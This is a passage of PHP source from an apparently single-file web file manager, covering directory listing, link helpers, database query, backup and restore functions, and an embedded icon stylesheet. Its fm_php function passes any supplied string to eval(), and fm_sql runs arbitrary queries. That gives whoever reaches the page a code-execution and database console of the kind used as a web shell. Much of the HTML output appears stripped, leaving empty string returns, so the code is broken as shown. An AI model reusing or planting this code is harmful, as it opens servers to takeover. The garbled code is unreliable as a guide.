if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '